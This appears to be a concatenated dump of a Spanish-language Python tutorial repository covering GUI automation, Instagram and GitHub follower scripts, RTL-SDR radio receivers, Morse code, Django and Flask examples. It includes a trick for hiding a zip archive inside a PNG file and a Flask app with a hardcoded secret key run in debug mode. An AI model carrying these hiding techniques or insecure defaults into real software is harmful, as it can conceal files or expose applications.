| 42 | # Graficar 43 | plt.figure(figsize=(12, 6)) 44 | plt.plot(np.array(frequencies)/1e6, powers, lw=0.5) 45 | plt.title("Espectro de Frecuencia (Barrido RTL-SDR)") 46 | plt.xlabel("Frecuencia (MHz)") 47 | plt.ylabel("Potencia (dB)") 48 | plt.grid(True) 49 | plt.tight_layout() 50 | plt.show() 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/05_PyAutoGUI_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala PyAutoGUI con el siguiente comando "pip install PyAutoGUI" 2 | import pyautogui 3 | import time 4 | 5 | #Con la funcion alert, mostramos en pantalla un mensaje con la informacion que queremos 6 | #En este caso mostramos un size, que es el tamaño de la pantalla 7 | pyautogui.alert(pyautogui.size()) 8 | #Se le da 5 segundos, por si el computadr es lento 9 | time.sleep(5) 10 | #En este caso mostramos un position, que es la ubicacion del maus en la pantalla 11 | pyautogui.alert(pyautogui.position()) 12 | #Se le da 5 segundos, por si el computadr es lento 13 | time.sleep(5) 14 | #Con las 2 funciones siguientes, se mueve el mause hacia una coordenada exacta. 15 | #Con moveTo, el puntero del mause llega rapido y con moverel, se demora su transporte 16 | pyautogui.moveTo(15,15, duration=3) 17 | pyautogui.moveRel(500,500, duration=3) 18 | #Con el siguiente codigo se presiona el boton windows 19 | pyautogui.press("win") 20 | #Se le da 3 segundos, por si el computadr es lento 21 | time.sleep(3) 22 | #Con la caracteristica write de pyautogui, escribimos la palabra excel con un intervalo de 0.1 segundos y luego damos enter 23 | pyautogui.write("excel", interval = 0.10) 24 | pyautogui.press("enter") 25 | #Esperamos 10 segundos para que abra el excel 26 | time.sleep(10) 27 | #Luego damos enter para abrir una pagina nueva de excel y posteriormente se escribe un texto 28 | pyautogui.press("enter") 29 | pyautogui.write("hola, soy un texto escrito", interval = 0.05) 30 | #Luego movemos 1 vez hacia abajo y 1 vez a la derecha, para luego ingresar un numero y dar enter 31 | pyautogui.press(['down', 'right']) 32 | pyautogui.write('+1+3') 33 | pyautogui.press("enter") 34 | #Por ultimo damos el grupo de comandos para guardar y mostramos un alerta de terminar el software 35 | pyautogui.hotkey('ctrl', 's') 36 | pyautogui.alert('Terminamos el script.') 37 | 38 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/23_Instagrapi_Instagram_Dejar_De_Seguir.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para dejar de seguir usuarios en instagram 2 | # Se usaran 2 librerias os y instagrapi 3 | # Primero se instala captcha con el siguiente comando "pip install instagrapi" 4 | import os 5 | from instagrapi import Client 6 | import time 7 | 8 | usuario = "Usuario_Instagram" 9 | contraseña = "Contraseña" 10 | 11 | # Ruta para guardar sesión 12 | SESSION_PATH = "session.json" 13 | # Crear cliente 14 | cl = Client() 15 | 16 | # Intentar cargar sesión existente 17 | if os.path.exists(SESSION_PATH): 18 | cl.load_settings(SESSION_PATH) 19 | try: 20 | cl.login(usuario, contraseña) 21 | print("(+) Se logueo") 22 | except Exception as e: 23 | print("(+-) Sesión caducada. Reautenticando...") 24 | cl.set_settings({}) 25 | cl.login(usuario, contraseña) 26 | cl.dump_settings(SESSION_PATH) 27 | print("(+) Se logueo") 28 | else: 29 | cl.login(usuario, contraseña) 30 | cl.dump_settings(SESSION_PATH) 31 | print("(+) Se logueo") 32 | 33 | # Leer usernames del archivo 34 | with open("no_en_ambas.txt", "r", encoding="utf-8") as archivo: 35 | usernames = [line.strip() for line in archivo if line.strip()] 36 | print("(+) Se cargaron los datos del .txt") 37 | # Dejar de seguir a cada uno 38 | unfollow_count = 0 39 | 40 | for username in usernames: 41 | try: 42 | user_id = cl.user_id_from_username(username) 43 | if cl.user_unfollow(user_id): 44 | print(f"(+) Dejaste de seguir a: {username}") 45 | unfollow_count += 1 46 | else: 47 | print(f"(-) No se pudo dejar de seguir a: {username}") 48 | except Exception as e: 49 | print(f"(+-) Error con {username}: {e}") 50 | time.sleep(50) # ⏳ Pausa para evitar bloqueos 51 | 52 | print(f"\n(+) Total dejado de seguir: {unfollow_count}") -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/20_Requests_Github_Quien_NoMe_Sigue.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para consultar seguidos y seguidores en un github 2 | # Luego se guarda en un txt los que no estan en las 2 listas Se usaran 3 | # Primero se instala captcha con el siguiente comando "pip install flask requests" 4 | import requests 5 | 6 | # 👇 Cambia esto con tu nombre de usuario de GitHub 7 | username = 'Usuario_github' 8 | 9 | # 👇 Si tienes token, pégalo aquí. Si no, déjalo como '' 10 | token = 'Token_Alfanumerico' # opcional pero recomendado 11 | 12 | # Cabecera para autenticar con token (si lo usas) 13 | headers = {'Authorization': f'token {token}'} if token else {} 14 | 15 | # Función para obtener usuarios paginados (followers o following) 16 | def get_paginated_users(url): 17 | users = [] 18 | while url: 19 | response = requests.get(url, headers=headers) 20 | response.raise_for_status() 21 | data = response.json() 22 | users.extend([user['login'] for user in data]) 23 | # Revisa si hay otra página 24 | url = response.links.get('next', {}).get('url') 25 | return users 26 | 27 | # URLs de API 28 | followers_url = f'https://api.github.com/users/{username}/followers' 29 | following_url = f'https://api.github.com/users/{username}/following' 30 | 31 | print("(+) Obteniendo seguidores...") 32 | followers = get_paginated_users(followers_url) 33 | 34 | print("(+) Obteniendo seguidos...") 35 | following = get_paginated_users(following_url) 36 | 37 | # Comparar listas: quiénes sigues que NO te siguen 38 | no_te_siguen = [user for user in following if user not in followers] 39 | 40 | # Guardar en archivo 41 | with open('no_me_siguen.txt', 'w', encoding='utf-8') as f: 42 | for user in no_te_siguen: 43 | f.write(user + '\n') 44 | 45 | print(f"\n(+) Usuarios que sigues y no te siguen: {len(no_te_siguen)}") 46 | print("(+) Guardado en archivo: no_me_siguen.txt") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/01_Receptor_Sencillo_Radio_Pyrtlsdr.py: -------------------------------------------------------------------------------- 1 | # En este codigo se muestra un ejemplo de receptor de señales de radio 2 | # y tambien como usar la libreria RtlSdr 3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr 4 | import numpy as np 5 | from rtlsdr import RtlSdr 6 | from scipy.signal import decimate, butter, lfilter 7 | import sounddevice as sd 8 | 9 | # Se configuran las caracteristicas de sdr radio frecuencia 10 | Radio_frecuencia = RtlSdr() 11 | Radio_frecuencia.sample_rate = 2.4e6 # Frecuencia de muestreo 12 | Radio_frecuencia.center_freq = 100.0e6 # Frecuencia de estación FM (100 MHz por ejemplo) 13 | Radio_frecuencia.gain = 40 14 | 15 | # Con la siguiente funcion se demodula la señal 16 | def fm_demodulate(iq): 17 | phase = np.angle(iq[1:] * np.conj(iq[:-1])) 18 | return phase 19 | 20 | # En la siguiente funcion se filtra la señal 21 | def lowpass_filter(data, cutoff, fs, order=5): 22 | from scipy.signal import butter, lfilter 23 | nyq = 0.5 * fs 24 | norm_cutoff = cutoff / nyq 25 | b, a = butter(order, norm_cutoff, btype='low') 26 | return lfilter(b, a, data) 27 | 28 | try: 29 | print("Se esta recibiendo la radio FM... Si quiere detenerlo CTL + C") 30 | while True: 31 | # Se capturan los datos actuales 32 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024) 33 | 34 | # Demodulación FM 35 | audio = fm_demodulate(Muestra_ejemplo) 36 | 37 | # Filtro y reducción de tasa para reproducir como audio 38 | audio = lowpass_filter(audio, cutoff=16e3, fs=2.4e6) 39 | audio = decimate(audio, int(2.4e6 / 48e3)) 40 | 41 | # Normalizar y reproducir 42 | audio /= np.max(np.abs(audio)) 43 | sd.play(audio, 48000, blocking=True) 44 | 45 | except KeyboardInterrupt: 46 | print("\n La Recepción de señal fue detenida.") 47 | finally: 48 | Radio_frecuencia.close() 49 | sd.stop() 50 | 51 | 52 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/03_Analisador_Espectro_Pyrtlsdr.py: -------------------------------------------------------------------------------- 1 | # En este codigo se muestra un analisador de señales de radio 2 | # y tambien como usar la libreria RtlSdr 3 | # pip install numpy matplotlib pyrtlsdr scipy 4 | 5 | import numpy as np 6 | import matplotlib.pyplot as plt 7 | from rtlsdr import RtlSdr 8 | import time 9 | 10 | # Primero inicializamos el RtlSdr 11 | Radio_frecuencia = RtlSdr() 12 | 13 | # Luego procedemos a configurar sus caracteristicas 14 | Radio_frecuencia.sample_rate = 2.4e6 # Frecuencia de muestreo (Hz) 15 | Radio_frecuencia.center_freq = 100e6 # Frecuencia central (Hz) — puedes cambiarla, por ejemplo 100 MHz 16 | Radio_frecuencia.gain = 'auto' # Ganancia automática 17 | 18 | # Tambien usamos matplot para crear la grafica que muestra la señal 19 | plt.ion() 20 | fig, ax = plt.subplots() 21 | line, = ax.plot([], [], lw=1) 22 | ax.set_xlim(0, Radio_frecuencia.sample_rate / 1e6) 23 | ax.set_ylim(-100, 0) 24 | ax.set_xlabel('Frecuencia (MHz)') 25 | ax.set_ylabel('Potencia (dB)') 26 | 27 | # Esta funcion muestra como sacar datos de la señal escogida 28 | def update_spectrum(): 29 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024) 30 | # Calcular FFT y convertir a escala logarítmica 31 | fft_vals = np.fft.fftshift(np.fft.fft(Muestra_ejemplo)) 32 | psd = 20 * np.log10(np.abs(fft_vals)) 33 | freqs = np.linspace(-Radio_frecuencia.sample_rate/2, Radio_frecuencia.sample_rate/2, len(psd)) / 1e6 # MHz 34 | 35 | # Se ingresan los datos a la grafica 36 | line.set_xdata(freqs) 37 | line.set_ydata(psd) 38 | fig.canvas.draw() 39 | fig.canvas.flush_events() 40 | 41 | # Se crea un while para mostrar la grafica en tiempo real 42 | print("Se esta mostrando en pantalla la señal de radio") 43 | try: 44 | while True: 45 | update_spectrum() 46 | time.sleep(0.1) 47 | except KeyboardInterrupt: 48 | print("\n Se detuvo por orden del usuario.") 49 | finally: 50 | Radio_frecuencia.close() -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/15_Convertir_Sonido_Frecuencias_Diferente.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que emite sonido grabados 2 | # En frecuencias no audibles 3 | # Con la libreria de python Scapy 4 | # pip install pydub simpleaudio numpy pydub ffmpeg-python 5 | 6 | from pydub import AudioSegment 7 | import numpy as np 8 | import simpleaudio as sa 9 | import os 10 | 11 | # Se solicita el audio y la frecuencia a convertir 12 | audio_path = input("Por favor ingrese el archivo MP3 o WAV: ") 13 | freq = float(input("Por favor anexe la nueva frecuencia (Hz) para modificar el audio: ")) 14 | 15 | # Se carga el audio 16 | audio = AudioSegment.from_file(audio_path) 17 | samples = np.array(audio.get_array_of_samples()).astype(np.float32) 18 | sample_rate = audio.frame_rate 19 | 20 | print(f"La frecuencia original del audio es: {sample_rate} Hz") 21 | print(f"La nueva frecuencia del audio es: {freq} Hz") 22 | 23 | # La siguiente parte del codigo convierte el audio en los herz indicados 24 | factor = freq / sample_rate # escala del tiempo 25 | indices = np.round(np.arange(0, len(samples), factor)) 26 | indices = indices[indices < len(samples)].astype(int) 27 | modified_samples = samples[indices] 28 | 29 | # Se quita la distorcion 30 | modified_norm = modified_samples * (32767 / np.max(np.abs(modified_samples))) 31 | modified_int16 = modified_norm.astype(np.int16) 32 | 33 | # Se crea el audio MP3 con la nueva frecuencia 34 | new_audio = AudioSegment( 35 | modified_int16.tobytes(), 36 | frame_rate=sample_rate, 37 | sample_width=2, 38 | channels=1 39 | ) 40 | 41 | # Se guarda el archivo con el sonido 42 | output_name = "audio_modificado.mp3" 43 | new_audio.export(output_name, format="mp3") 44 | print(f"El archivo generado es: {output_name}") 45 | 46 | # Se procede a reproducir el audio 47 | print("Reproduciendo el audio modificado…") 48 | play_obj = sa.play_buffer(modified_int16, 1, 2, sample_rate) 49 | play_obj.wait_done() 50 | 51 | print("Fin del proceso") 52 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/02_Decodificador_RadioFM_Pyrtlsdr_.py: -------------------------------------------------------------------------------- 1 | # En este codigo se muestra un decodificador FM de señales de radio 2 | # y tambien como usar la libreria RtlSdr 3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr 4 | import numpy as np 5 | from rtlsdr import RtlSdr 6 | import matplotlib.pyplot as plt 7 | from scipy.signal import decimate, butter, lfilter 8 | import sounddevice as sd 9 | 10 | 11 | # Inicializar el SDR 12 | Radio_frecuencia = RtlSdr() 13 | Radio_frecuencia.sample_rate = 2.4e6 # Hz 14 | Radio_frecuencia.center_freq = 100.0e6 # 100 MHz, cambia a una estación local 15 | Radio_frecuencia.gain = 40 16 | 17 | def fm_demodulate(iq_signal): 18 | angle = np.angle(iq_signal[1:] * np.conj(iq_signal[:-1])) 19 | return angle 20 | 21 | # Filtro pasa-bajo para aislar canal de audio 22 | def butter_lowpass(cutoff, fs, order=5): 23 | nyq = 0.5 * fs 24 | norm_cutoff = cutoff / nyq 25 | b, a = butter(order, norm_cutoff, btype='low') 26 | return b, a 27 | 28 | def lowpass_filter(data, cutoff, fs, order=5): 29 | b, a = butter_lowpass(cutoff, fs, order=order) 30 | return lfilter(b, a, data) 31 | 32 | # Creamos un bucle para recibir la señal 33 | try: 34 | print("Se muestra la señal que esta modulada en FM") 35 | while True: 36 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024) 37 | 38 | # Demodular FM 39 | demodulated = fm_demodulate(Muestra_ejemplo) 40 | 41 | # Filtrar y decimar para obtener audio (de ~2400000 Hz a 48000 Hz) 42 | audio = lowpass_filter(demodulated, cutoff=16e3, fs=2.4e6) 43 | audio = decimate(audio, int(2.4e6 / 48e3)) 44 | 45 | # Procedemos a normalizar el audio con np 46 | audio /= np.max(np.abs(audio)) 47 | 48 | # Reproducir audio 49 | sd.play(audio, 48000, blocking=True) 50 | 51 | except KeyboardInterrupt: 52 | print("\n En espera...") 53 | finally: 54 | Radio_frecuencia.close() 55 | sd.stop() -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/02_ZipFile_Esteganografia_encriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De guardar un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install zipfile" 6 | 7 | 8 | import zipfile 9 | from PIL import Image 10 | 11 | # La siguiente funcion sirve para crear un archivo texto con una informacion 12 | def crear_txt(nombre_txt, contenido): 13 | with open(nombre_txt, 'w') as f: 14 | f.write(contenido) 15 | print(f"El archivo .txt se creo sin problemas: {nombre_txt}") 16 | 17 | # Con esta funcion se crea una imagen con un nombre indicado 18 | def crear_imagen_png(nombre_imagen): 19 | img = Image.new('RGB', (200, 200), color='lightgreen') 20 | img.save(nombre_imagen) 21 | print(f"Imagen PNG creada: {nombre_imagen}") 22 | 23 | # En este codigo se muestra como meter un archivo texto a un archivo comprimido zip 24 | def crear_zip(nombre_zip, archivo_txt): 25 | with zipfile.ZipFile(nombre_zip, 'w') as zipf: 26 | zipf.write(archivo_txt) 27 | print(f"[✔] ZIP creado: {nombre_zip}") 28 | 29 | # En este codigo se explica como ingresarle el texto a la imagen con un archivo zip 30 | def fusionar_imagen_y_zip(imagen_png, archivo_zip, salida_png_con_zip): 31 | with open(imagen_png, 'rb') as img_file: 32 | datos_img = img_file.read() 33 | 34 | with open(archivo_zip, 'rb') as zip_file: 35 | datos_zip = zip_file.read() 36 | 37 | with open(salida_png_con_zip, 'wb') as salida: 38 | salida.write(datos_img) 39 | salida.write(datos_zip) 40 | 41 | print(f"La imagen quedo con el zip comprimido adentro: {salida_png_con_zip}") 42 | 43 | # EJECUTAR FLUJO COMPLETO 44 | crear_imagen_png('imagen_base.png') 45 | crear_zip('archivo.zip', 'Texto_a_guardar.txt') 46 | fusionar_imagen_y_zip('imagen_base.png', 'archivo.zip', 'imagen_con_mensaje.png') 47 | 48 | 49 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/17_Captcha.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para crear y validar un captcha 2 | # Se usaran 3 librerias flask, captcha y random, para crear la imagen chaptcha 3 | # Primero se instala captcha con el siguiente comando "pip install flask captcha pillow" 4 | from flask import Flask, session, request, send_file, render_template_string, redirect, url_for 5 | from captcha.image import ImageCaptcha 6 | import random 7 | import string 8 | import io 9 | 10 | app = Flask(__name__) 11 | app.secret_key = 'clave_secreta_segura' # Necesaria para usar sesiones 12 | 13 | # Generador de texto CAPTCHA 14 | def generar_texto(longitud=5): 15 | return ''.join(random.choices(string.ascii_uppercase + string.digits, k=longitud)) 16 | 17 | @app.route('/') 18 | def index(): 19 | return render_template_string(''' 20 |

Por favor, Introduce el texto que ves en la imagen:

21 |
22 |

CAPTCHA

23 |

24 |

25 |
26 | ''') 27 | 28 | @app.route('/captcha') 29 | def captcha(): 30 | imagen_capchat = ImageCaptcha() 31 | texto = generar_texto() 32 | session['captcha_texto'] = texto # Guardamos el texto en la sesión 33 | data = imagen_capchat.generate(texto) 34 | return send_file(data, mimetype='image/png') 35 | 36 | @app.route('/verificar', methods=['POST']) 37 | def verificar(): 38 | texto_ingresado_usuario = request.form['captcha_input'] 39 | captcha_correcto = session.get('captcha_texto', '') 40 | # Con el siguiente if, se valida que el captcha sea correcto 41 | if texto_ingresado_usuario.upper() == captcha_correcto: 42 | return "

✅ CAPTCHA correcto

Volver" 43 | else: 44 | return "

❌ CAPTCHA incorrecto

Intentar de nuevo" 45 | 46 | if __name__ == '__main__': 47 | app.run(debug=True) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/09_Clave_Morse.py: -------------------------------------------------------------------------------- 1 | # En este texto se muestra un cambio de letras a codigo morse 2 | # Se ingresan primero las variables con su respuesta en un orden especifico 3 | 4 | abc = {"A":".-", "N":"-.", "B":"-...","O":"---","C":"-.-.","P":".--."} 5 | abc2 = {"D":"-..","Q":"--.-", "E":".","R":".-.","F":"..-.","S":"..."} 6 | abc3 = {"G":"--.","T":"-", "H":"....", "U":"..-","I":"..","V":"...-"} 7 | abc4 = { "J":".---", "W":".--", "K":"-.-","X":"-..-", "L":".-..", "Y":"-.--", "M":"--","Z":"--.."} 8 | 9 | num1 = {"1":".----", "2":"..---","3":"...--","4":"....-", "5":".....","6":"-...."} 10 | num2 = {"7":"--...", "8":"---..","9":"----.","0":"-----"} 11 | 12 | Lista_caracteres = {} 13 | 14 | # Se ingresa las listas de las letras en un solo arreglo o lista 15 | Lista_caracteres.update(abc) 16 | Lista_caracteres.update(abc2) 17 | Lista_caracteres.update(abc3) 18 | Lista_caracteres.update(abc4) 19 | Lista_caracteres.update(num1) 20 | Lista_caracteres.update(num2) 21 | 22 | 23 | # Luego creamos un while para solicitar las palabras 24 | # Por los codigos de calve morse que corresponden 25 | while True: 26 | while True: 27 | palabra = input("Ingresa una palabra sin espacios: ") 28 | if palabra.isalnum(): 29 | palabra = palabra.upper() 30 | break 31 | else: 32 | print("Por favor sin espacios \n") 33 | break 34 | break 35 | 36 | # Se ingresa la cantidad de letras que tiene la palabra en una variable 37 | 38 | largo_palabra = len(str(palabra)) 39 | 40 | print("\n" + palabra, "En morse es : ") 41 | 42 | # Se recorre un for con cada letra de la palabra, 43 | # Agregando un espacio al final para mostrarlo por partes 44 | for y in range(0, largo_palabra): 45 | for x in Lista_caracteres.keys(): 46 | if x == palabra[y]: 47 | print(Lista_caracteres[x], end=' ') 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/10_Radar_Distancia_Celulares.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra la creacion de un radar 2 | # con la distancia de los celulares que estan cerca 3 | # sudo apt update 4 | # sudo apt install rtl-sdr 5 | # pip install pyrtlsdr numpy matplotlib 6 | 7 | import numpy as np 8 | import matplotlib.pyplot as plt 9 | from rtlsdr import RtlSdr 10 | import time 11 | 12 | # Configurar el SDR 13 | sdr = RtlSdr() 14 | sdr.sample_rate = 1e6 # 1 MHz 15 | sdr.center_freq = 945e6 # frecuencia objetivo (ajustable) 16 | sdr.gain = 'auto' 17 | 18 | # Claro 2G/3G: 1900 MHz (B2), 850 MHz (B5) 19 | # sdr.center_freq = 1900e6 20 | 21 | # Movistar 2G/3G: 1900 MHz (B2), 850 MHz (B5) 22 | # sdr.center_freq = 850e6 23 | 24 | # Tigo LTE: AWS 1700/2100 (B4), 700 MHz (B28), 2600 MHz (B7) 25 | # sdr.center_freq = 1700e6 26 | 27 | # Avantel / ETB 3G: 850 MHz (B5) o 1900 MHz (B2) 28 | # sdr.center_freq = 850e6 29 | 30 | # WOM LTE: 700 MHz (B28), 2600 MHz (B7) 31 | # sdr.center_freq = 700e6 32 | 33 | # sdr.center_freq = [1900ee6, 850e6, 1700e6, 700e6] 34 | 35 | # Función para medir la potencia de señal 36 | def measure_power(): 37 | samples = sdr.read_samples(256*1024) 38 | power = 10 * np.log10(np.mean(np.abs(samples)**2)) 39 | return power 40 | 41 | # Escaneo simple 42 | try: 43 | powers = [] 44 | times = [] 45 | 46 | print("Escaneando actividad GSM... Ctrl+C para detener.") 47 | start_time = time.time() 48 | 49 | while True: 50 | p = measure_power() 51 | t = time.time() - start_time 52 | powers.append(p) 53 | times.append(t) 54 | print(f"[{round(t,1)}s] Potencia: {round(p,2)} dB") 55 | 56 | time.sleep(0.5) # Ajusta el intervalo 57 | 58 | except KeyboardInterrupt: 59 | print("\nFinalizado.") 60 | 61 | finally: 62 | sdr.close() 63 | 64 | # Graficar resultados 65 | plt.plot(times, powers) 66 | plt.xlabel("Tiempo (s)") 67 | plt.ylabel("Potencia (dB)") 68 | plt.title("Actividad GSM Detectada") 69 | plt.grid(True) 70 | plt.show() 71 | 72 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/views.py: -------------------------------------------------------------------------------- 1 | from importlib.abc import Loader 2 | from django.http import HttpResponse 3 | from django.template import Template, Context 4 | from django.template.loader import get_template 5 | 6 | def saludo (request): 7 | var_nombre = "Sebas" 8 | var_apellido = "tian" 9 | 10 | 11 | # ##### DESCOMENTAR PARA ENTENDER EL PASO A PASO 12 | # # # al momento de pegar el link hay que poner las / de dividir 13 | # doc_externo=open("C:/Users/Sesagean/Desktop/Resumenes/CLASES/DJANGO/proyecto1/proyecto1/plantillas/miplantilla.html") 14 | # plt= Template(doc_externo.read()) #Se usa Template con .read() para leer el archivo .html y guardarlo en una variable 15 | # doc_externo.close() 16 | # ctx=Context({"nombre": var_nombre ,"apellido": var_apellido, "temas": ["uno", "dos", "tres"]}) # se usa para paginas dinamicas, no hay informacion dentr de context porque es pagina sencilla 17 | # documento=plt.render(ctx) #Se renderiza la pagina en 1 sola variable con su respectivo contect 18 | # #documento2=Template(doc_externo.read()).render(Context()) 19 | 20 | 21 | # #FORMA SIMPLIFICADA 22 | #En settings se modifica DIRS para poner la direccion de las plantillas 23 | doc_externo= get_template('miplantilla.html') 24 | documento=doc_externo.render({"nombre": var_nombre ,"apellido": var_apellido, "temas": ["uno", "dos", "tres"]}) #Se renderiza la pagina en 1 sola variable con su respectivo contect 25 | 26 | 27 | 28 | return HttpResponse(documento) 29 | 30 | def html (request): 31 | 32 | return HttpResponse("

Hola

como estas?

") 33 | 34 | def otra (request): 35 | valor1 = 2 36 | valor2 = 3 37 | total = valor1 + valor2 38 | doc_externo= get_template('otra.html') 39 | documento=doc_externo.render({"total":total}) 40 | 41 | return HttpResponse(documento) 42 | 43 | 44 | def conestilos (request): 45 | 46 | doc_externo= get_template('conestilos.html') 47 | documento=doc_externo.render() 48 | 49 | return HttpResponse(documento) 50 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/22_Instagrapi_Instagram_Obtener_SeguidosSeguidores.py: -------------------------------------------------------------------------------- 1 | # En este programa extrae los seguidores y los seguidos de una cuenta instagram 2 | # Se usaran 2 librerias os y instagrapi 3 | # Primero se instala instagrapi con el siguiente comando "pip install instagrapi" 4 | # Toca hacer una consulta por ejecucion 5 | 6 | from instagrapi import Client 7 | import os 8 | 9 | 10 | # Credenciales 11 | usuario = "Usuario_Instagram" 12 | contraseña = "Contraseña" 13 | 14 | # Iniciar sesión en Instagram 15 | cl = Client() 16 | try: 17 | cl.login(usuario, contraseña) 18 | print(f"(+) Inicio sesion: ") 19 | except Exception as e: 20 | print(f"(-) Error al iniciar sesión: {e}") 21 | exit() 22 | 23 | # Obtener los primeros 50 usuarios que sigues 24 | seguidos = cl.user_following(cl.user_id, amount=200) 25 | print(f"(+) Se cargaron los seguidos ") 26 | # Obtener todos los seguidores (quiénes te siguen) 27 | #seguidores = cl.user_followers(cl.user_id, amount=300) 28 | #print(f"(+) Se cargaron los seguidores ") 29 | # Extraer solo usernames 30 | usernames_seguidos = [u.username for u in seguidos.values()] 31 | print(f" (+) Se camnio el id por el nombre seguidos ") 32 | #usernames_seguidores = {u.username for u in seguidores.values()} 33 | #print(f"(+) Se camnio el id por el nombre seguidores ") 34 | # Verificar quién no te sigue de vuelta (solo entre los 50 primeros) 35 | #no_me_siguen = [u for u in usernames_seguidos if u not in usernames_seguidores] 36 | # print(f"Se hizo la validacion: ") 37 | # Guardar resultados 38 | with open("seguidos_inst.txt", "w", encoding="utf-8") as archivo: 39 | for usuario in usernames_seguidos: 40 | archivo.write(usuario + "\n") 41 | #with open("seguidores_inst.txt", "w", encoding="utf-8") as archivo: 42 | # for usuario in usernames_seguidores: 43 | # archivo.write(usuario + "\n") 44 | print(f"(+) Guardado: {len(usernames_seguidos)} de los primeros 50 que no te siguen (en no_me_siguen.txt)") 45 | #print(f"(+) Guardado: {len(usernames_seguidores)} de los primeros 50 que no te siguen (en no_me_siguen.txt)") -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/README.md: -------------------------------------------------------------------------------- 1 | CRUD Python MySQL Flask Windows Ubuntu 2 | 3 | 4 | ![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54) 5 | ![MySql](https://img.shields.io/badge/MySQL-4479A1?style=for-the-badge&logo=mysql&logoColor=white) - 6 | ![Flask](https://img.shields.io/badge/Flask-000000?style=for-the-badge&logo=Flask&logoColor=white) - 7 | ![Microsoft](https://img.shields.io/badge/Microsoft-0078D4?style=for-the-badge&logo=microsoft&logoColor=white) 8 | ![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?style=for-the-badge&logo=ubuntu&logoColor=white) 9 | 10 | Los pasos para poner en ejecución son los siguientes 11 | Ir a la pagina web de Python y descargarlo para tu sistema operativo, escoger la opción "add path" con el fin de poder ejecutar comandos de Python en la terminal de comandos 12 | 13 | ```Pagina web 14 | https://www.python.org/downloads/ 15 | https://git-scm.com/downloads 16 | ``` 17 | 18 | Vamos a la pagina web de MySQL y descargamos el ejecutable MSI y lo ejecutamos, luego de finalizar la instalación abrimos el MySQL Workbench 19 | 20 | ```Pagina web 21 | https://www.mysql.com/downloads/ 22 | ``` 23 | 24 | Luego de tener instalado Python podemos ejecutar los siguientes comandos hasta llegar a la carpeta del proyecto y estando ahí ejecutamos los siguientes codigos 25 | 26 | ```Terminal de comandos 27 | cd 28 | python --version 29 | pip --version 30 | ``` 31 | 32 | Despues de haber instalado python y confirmar la version, instalamos git y descargamos el proyecto. 33 | ```Terminal de comandos 34 | git --version 35 | git init 36 | git clone https://github.com/guevaraStian/CRUD_Python_MySql.git 37 | cd CRUD_Python_MySql 38 | git push origin master 39 | ``` 40 | 41 | Posteriormente ingresamos a la carpeta creada e instalamos las librerias y ejecutamos el proyecto. 42 | 43 | ```Terminal de comandos 44 | pip install flask flask_mysqldb 45 | python app.py 46 | ``` 47 | 48 | Luego que el proyecto ya se este ejecutando, podemos verlo funcionar en la siguiente ruta url 49 | 50 | ```Pagina web 51 | http://localhost:3000 52 | http://127.0.0.1:3000 53 | ``` 54 | 55 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/05_Radar_Distancia_Wifi.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra la creacion de un radar 2 | # con la distancia de los dispositivos y el router 3 | # pip install matplotlib 4 | import subprocess 5 | import re 6 | import random 7 | import math 8 | import matplotlib.pyplot as plt 9 | 10 | # En la siguiente funcion se ejecuta arp -a para ver que dispositivos estan conectados 11 | def escanear_dispositivos(): 12 | result = subprocess.run(['arp', '-a'], capture_output=True, text=True) 13 | dispositivos = [] 14 | for line in result.stdout.splitlines(): 15 | match = re.search(r'(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)\s+(\w+)', line) 16 | if match: 17 | ip = match.group(1) 18 | dispositivos.append(ip) 19 | return dispositivos 20 | # Distancia ficticia entre 2 y 10 metros (simulada) 21 | def estimar_distancia_fake(): 22 | return round(random.uniform(2, 10), 2) 23 | 24 | 25 | # En la siguiente funcion se crea la grafica con las distancias entre el router y los dispositivos conectados 26 | def mostrar_radar(dispositivos_info): 27 | fig, ax = plt.subplots() 28 | ax.set_title("Radar WiFi - Estimación Ficticia de Distancias") 29 | ax.set_xlim(-12, 12) 30 | ax.set_ylim(-12, 12) 31 | ax.set_aspect('equal') 32 | ax.grid(True) 33 | 34 | for ip, distancia in dispositivos_info: 35 | angle = random.uniform(0, 2 * math.pi) 36 | x = distancia * math.cos(angle) 37 | y = distancia * math.sin(angle) 38 | ax.plot(x, y, 'bo') 39 | ax.text(x, y, f"{ip}\n{distancia} m", fontsize=8) 40 | 41 | plt.show() 42 | 43 